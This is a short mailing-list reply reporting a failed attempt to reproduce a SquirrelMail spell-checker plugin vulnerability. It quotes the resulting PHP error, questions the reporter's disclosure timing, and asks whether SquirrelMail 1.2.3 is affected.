I'm unable to repro on squirrelmail 1.2.2 + openbsd 2.9: Fatal error: Call to undefined function: sqspell_getlang() in /usr/local/www/htdocs/www2.axisproductions.com/webmail/plugins/squirrelspell/modules/check_me.mod.php on line 59 I'm also curious how much notice this person gave to the Squirrelmail development team to prepare a fix before releasing it to the world.. (same thought applies to the random cross-scripting vulnerability just sent out 3 seconds ago) On anothre note Squirrelmail 1.2.3 was released 01/21/02.. I was wondering if anyone has had the opportunity to test against it. This specific issue doesn't seem to have been noted in the changelog: http://www.squirrelmail.org/changelog.php Attempted to contact off-list earlier, but it seems the sender's mx is having problems. <appelastat_private>: 213.134.128.227 does not like recipient.
